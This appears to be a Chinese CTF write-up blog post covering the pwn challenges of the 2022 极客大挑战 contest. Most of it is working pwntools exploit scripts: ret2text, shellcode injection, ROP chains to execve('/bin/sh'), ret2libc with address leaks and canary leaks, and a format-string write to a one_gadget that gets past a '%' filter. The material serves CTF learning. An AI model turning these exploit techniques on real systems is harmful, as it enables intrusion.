• 【pwn】2022 极客大挑战


    pwn】2022 极客大挑战

    前言

    又是一年的极客大挑战,又老了一岁,也只有打打新生赛才能有第一次接触ctf快乐了,现在各种比赛的pwn都是纯纯的坐牢~

    本次题解的所有脚本使用的类库都是本人自己整合的一个库,github地址:https://github.com/Awoodwhale/pwn_all_in_one

    nc

    直接nc连接

    pwn1_1

    简单的ret2text

    from pwntools import *
    
    init("./pwn1_1")
    
    backdoor = 0x401196
    
    payload = b"b"*0x10 + b"woodwood" + p64(backdoor)
    
    sl(payload)
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    pwn2_1

    也是有后门的

    from pwntools import *
    
    init("./pwn2_1")
    
    payload = b"\x00"*0x10 + b"woodwood" + p64(0x4011EF)
    sl(payload)
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    pwn2_2

    简单的ret2shellcode

    from pwntools import *
    
    init("./pwn2_2")
    
    backdoor = 0x4040A0
    
    sla("number:", asm(shellcraft.sh()))
    sla("buf: ", b"b"*0x18 + p64(backdoor))
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    pwn2_3

    首先获取栈地址,调试查看偏移获取ret_address的地址,在栈里写shellcode,最后用任意写把ret_address的地址写成存放shellcode的栈地址,这样就能执行shellcode了(这种方式需要保证shellocde的长度不会覆盖到canary,否则会触发canary的保护机制,当然还有一种方式,可以把stack_chk_fail的got表改成shellcode的地址)

    #!/usr/bin/python3
    # -*- coding: UTF-8 -*-
    # -----------------------------------
    # @File    :  exp2_3.py
    # @Author  :  woodwhale
    # @Time    :  2022/11/02 15:27:21
    # -----------------------------------
    
    from pwntools import *
    
    # context.log_level = "debug"
    
    init("./pwn2_3")
    
    io: tube = pwnio.io
    elf: ELF = pwnio.elf
    libc: ELF = pwnio.libc
    
    pop_rdi = 0x0000000000001383
    
    ru("0x")
    stack_addr = leak(i16(rl()), "stack_addr")
    
    sa("Give me your buf: ", asm(shellcraft.sh()))
    sla("rb_write to you:", str(stack_addr + 0x118))
    tmp = hex(stack_addr)[2:]
    
    # dbg();pau()
    sa(
        "Data: ",
        p8(i16(tmp[-2:]))
        + p8(i16(tmp[-4:-2]))
        + p8(i16(tmp[-6:-4]))
        + p8(i16(tmp[-8:-6]))
        + p8(i16(tmp[-10:-8]))
        + p8(i16(tmp[-12:-10])),
    )
    
    
    ia()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    pwn3_1

    不是很想ret2libc,所以使用了一个独特的gadget来进行任意地址写mov_rsi_eax

    原理就是把一个bss段地址写入/bin/sh\x00,然后使用syscall调用execve("/bin/sh",NULL,NULL)

    因为我找来的gadget是用的eax,所以每次只能写32位,所以这里/bin/sh\x00分了两次写,写完了之后就调用syscall就好啦!

    from pwntools import *
    
    context.log_level = "debug"
    init("./pwn3_1")
    
    pop_rax = 0x0000000000449307
    pop_rdi = 0x0000000000401882
    pop_rsi = 0x000000000040f1ce
    pop_rdx = 0x000000000040178f
    syscall = 0x00000000004012d3
    syscall_ret = 0x0000000000416f04
    
    mov_rsi_eax = 0x000000000047bc06
    
    def fflat(lst):
        res = b""
        for l in lst:
            res += p64(l)
        return res
    
    payload = b"b"*0x18 + fflat([
        pop_rsi, 0x4c3000,
        pop_rax, 0x6e69622f,    # /bin
        mov_rsi_eax,
        0x401D25
    ])
    
    sla(";", payload)
    time.sleep(1)
    
    payload = b"b"*0x18 + fflat([
        pop_rsi, 0x4c3004,
        pop_rax, 0x68732f,  # /sh
        mov_rsi_eax,
        0x401D25
    ])
    
    sla(";", payload)
    time.sleep(1)
    
    payload = b"b"*0x18 + fflat([
        pop_rdi, 0x4c3000,
        pop_rsi, 0,
        pop_rdx, 0,
        pop_rax, 59,
        syscall_ret # execve("/bin/sh", 0, 0)
    ])
    sla(";", payload)
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    pwn3_2

    直接ret2system,调用system("/bin/sh")

    from pwntools import *
    
    init("./pwn3_2")
    
    sa("number", b"/bin/sh\x00")
    
    # dbg();pau()
    sla("thing", b"b"*0x18 + p64(0x000000000040101a) +p64(0x00000000004012c3) + p64(0x404090) + p64(pwnio.elf.sym["system"]))
    
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    pwn3_3

    基础的ret2libc version3

    使用puts泄露puts_got中存放libc中的puts地址,从而计算libc_base

    获取system和binsh的地址后就可以ret2system了

    #!/usr/bin/python3
    # -*- coding: UTF-8 -*-
    # -----------------------------------
    # @File    :  exp.py
    # @Author  :  woodwhale
    # @Time    :  2022/11/09 21:40:48
    # -----------------------------------
    
    from pwntools import *
    
    init("./pwn3_3")
    
    io: tube = pwnio.io
    elf: ELF = pwnio.elf
    libc: ELF = pwnio.libc
    
    pop_rdi = 0x00000000004012f3
    main = 0x4011F0
    payload = flat(
        b"b"*0x18, 
        pop_rdi, elf.got["puts"],
        elf.sym["puts"], main
    )
    sla(":", payload)
    puts_addr = leak(l64(), "puts_addr")
    system, binsh = ret2libc(puts_addr, "puts", libc)
    payload = flat(
        b"b"*0x18,
        pop_rdi, binsh,
        system
    )
    sla(":", payload)
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    pwn4_1

    也是ret2libc version3,只不过这里用的是write

    #!/usr/bin/python3
    # -*- coding: UTF-8 -*-
    # -----------------------------------
    # @File    :  exp.py
    # @Author  :  woodwhale
    # @Time    :  2022/11/09 21:49:30
    # -----------------------------------
    
    from pwntools import *
    
    init("./pwn4_1")
    
    io: tube = pwnio.io
    elf: ELF = pwnio.elf
    libc: ELF = pwnio.libc
    
    pop_rdi = 0x00000000004012c3
    pop_rsi_r15 = 0x00000000004012c1
    main = 0x4011D0
    
    payload = flat(
        b"b"*0x18, 
        pop_rdi, 1,
        pop_rsi_r15, elf.got["write"], 0,
        elf.sym["write"],
        main
    )
    # dbg();pau()
    sla(")", payload)
    
    write_addr = leak(l64(), "write")
    system, binsh = ret2libc(write_addr, "write", libc)
    
    payload = flat(
        b"b"*0x18, 
        pop_rdi, binsh,
        system
    )
    sla(")", payload)
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    pwn4_2

    和上一题一样

    #!/usr/bin/python3
    # -*- coding: UTF-8 -*-
    # -----------------------------------
    # @File    :  exp.py
    # @Author  :  woodwhale
    # @Time    :  2022/11/09 21:59:23
    # -----------------------------------
    
    from pwntools import *
    
    init("./pwn4_2")
    
    pop_rdi = 0x0000000000401253
    pop_rsi_r15 = 0x0000000000401251
    main = 0x4011B0
    magic = 0x4011FD
    
    io: tube = pwnio.io
    elf: ELF = pwnio.elf
    libc: ELF = pwnio.libc
    
    payload = flat(
        b"b"*0x18,
        pop_rdi, 1,
        pop_rsi_r15, elf.got["write"],
        magic,
        elf.sym["write"],
        main
    )
    
    sla(")", payload)
    write = leak(l64(), "write")
    system, binsh = ret2libc(write, "write", libc)
    
    payload = flat(
        b"b"*0x18,
        pop_rdi, binsh,
        system
    )
    
    sla(")", payload)
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    pwn4_3

    这题比较有趣了,格式化字符串的漏洞,但是ban了格串的字符

    如何绕过?

    在这里插入图片描述

    • '%' + ' '*16 + 'p'

    也就是用空格绕过就行了

    用上面的%p获取libc地址,找到one_gadget的地址,把ret_address用fmt写成one_gadget

    这里任意地址写较为复杂,需要计算一下偏移来写入,我在脚本中的write函数中使用%hhn来进行单字节的任意地址写

    如下脚本提供了写rop链和写one_gadget的两种方式,不知道为啥写rop无法执行,但是one_gadget可以获取shell

    #!/usr/bin/python3
    # -*- coding: UTF-8 -*-
    # -----------------------------------
    # @File    :  exp.py
    # @Author  :  woodwhale
    # @Time    :  2022/11/19 15:08:11
    # -----------------------------------
    
    from pwntools import *
    
    # context.log_level = "debug"
    
    init("./never_get_P")
    
    io: tube = pwnio.io
    elf: ELF = pwnio.elf
    libc: ELF = pwnio.libc
    
    
    def write(want, addr, need_add=False):
        padding = want
        padding_two = 8 - (padding + 7) % 8
        l = (padding + 7 + padding_two) // 8 + 6
        info(f"{hex(want), hex(addr)}")
        payload = (
            b"b" * padding
            + f"%{l}$hhn".encode()
            + b"\x00" * (padding_two + (1 if need_add else 0))
            + p64(addr)
        )
        s(payload)
        time.sleep(1)
    
    
    rop = False
    
    
    def pwn():
        ru("0x")
        stack_addr = leak(i16(r(12)), "stack_addr")
        ru("You~cAn't~geT~P!!!!")
    
        sl("%137$" + " " * 13 + "p")
        ru("0x")
        libc.address = leak(i16(r(12)) - (0x7F83420290B3 - 0x7F8342002000), "libc_base")
        system_addr = libc.sym["system"]
        pop_rdi_ret = libc.address + 0x0000000000026B72
        ret = libc.address + 0x0000000000025679
        info("ret", ret)
        binsh_addr = stack_addr + 0x20 + 2
        info("binsh", binsh_addr)
        one_gadget = libc.address + 0xE6AF1
        info("one_gadget", one_gadget)
    
        ret_addr = stack_addr + 1080
        info("ret_addr", ret_addr)
    
        if rop:
            write(i16(hex(ret)[-2:]), ret_addr)
            write(i16(hex(ret)[-4:-2]), ret_addr + 1)
            write(i16(hex(ret)[-6:-4]), ret_addr + 2)
            write(i16(hex(ret)[-8:-6]), ret_addr + 3)
            write(i16(hex(ret)[-10:-8]), ret_addr + 4)
    
            write(i16(hex(pop_rdi_ret)[-2:]), ret_addr + 8)
            write(i16(hex(pop_rdi_ret)[-4:-2]), ret_addr + 8 + 1)
            write(i16(hex(pop_rdi_ret)[-6:-4]), ret_addr + 8 + 2)
            write(i16(hex(pop_rdi_ret)[-8:-6]), ret_addr + 8 + 3)
            write(i16(hex(pop_rdi_ret)[-10:-8]), ret_addr + 8 + 4)
    
            write(i16(hex(binsh_addr)[-2:]), ret_addr + 8 * 2)
            write(i16(hex(binsh_addr)[-4:-2]), ret_addr + 8 * 2 + 1)
            write(i16(hex(binsh_addr)[-6:-4]), ret_addr + 8 * 2 + 2)
            write(i16(hex(binsh_addr)[-8:-6]), ret_addr + 8 * 2 + 3)
            write(i16(hex(binsh_addr)[-10:-8]), ret_addr + 8 * 2 + 4)
    
            write(i16(hex(system_addr)[-2:]), ret_addr + 8 * 3, True)
            write(i16(hex(system_addr)[-4:-2]), ret_addr + 8 * 3 + 1)
            write(i16(hex(system_addr)[-6:-4]), ret_addr + 8 * 3 + 2)
            write(i16(hex(system_addr)[-8:-6]), ret_addr + 8 * 3 + 3)
            write(i16(hex(system_addr)[-10:-8]), ret_addr + 8 * 3 + 4)
            write(i16(hex(system_addr)[-12:-10]), ret_addr + 8 * 3 + 5)
        else:
            write(i16(hex(one_gadget)[-2:]), ret_addr)
            write(i16(hex(one_gadget)[-4:-2]), ret_addr + 1)
            write(i16(hex(one_gadget)[-6:-4]), ret_addr + 2)
            write(i16(hex(one_gadget)[-8:-6]), ret_addr + 3)
            write(i16(hex(one_gadget)[-10:-8]), ret_addr + 4)
            write(i16(hex(one_gadget)[-12:-10]), ret_addr + 5)
    
        sl("Y\x00/bin/sh\x00")
    
        ia()
    
    
    pwn()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97

    pwn5_1

    格式化字符串泄露libc和canary地址,然后直接ret2libc就好了

    #!/usr/bin/python3
    # -*- coding: UTF-8 -*-
    # -----------------------------------
    # @File    :  exp.py
    # @Author  :  woodwhale
    # @Time    :  2022/11/20 12:56:47
    # -----------------------------------
    
    from pwntools import *
    
    init("./pwn5_1")
    
    io: tube = pwnio.io
    elf: ELF = pwnio.elf
    libc: ELF = pwnio.libc
    
    
    s("%43$p%45$p")
    ru("0x")
    canary = leak(i16(r(16)), "canary")
    ru("0x")
    libc.address = leak(i16(r(12)) - (0x7FD962B41083 - 0x7FD962B1D000), "libc_base")
    
    system_addr = libc.sym["system"]
    binsh_addr = next(libc.search(b"/bin/sh\x00"))
    
    
    payload = (
        b"b" * 0x108
        + p64(canary)
        + p64(0xdeadbeef)
        + p64(libc.address + 0x0000000000022679)
        + p64(libc.address + 0x0000000000023B6A)
        + p64(binsh_addr)
        + p64(system_addr)
    )
    sla("second read", payload)
    ia()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
  • 相关阅读:
    Android P 禁用非官方API
    头歌计算机组成原理MIPS寄存器文件设计
    CSS从入门到精通(1)
    1.机器学习基本概念学习笔记
    java高校教学资源共享平台计算机毕业设计MyBatis+系统+LW文档+源码+调试部署
    css:不同设备的适配和响应
    Vue2-父子组件传值
    设计模式详解(十二)——外观模式
    Ubuntu22.04离线安装uwsgi问题记录
    python数据可视化-matplotlib入门(2)-利用随机函数生成变化图形
  • 原文地址:https://blog.csdn.net/woodwhale/article/details/127991807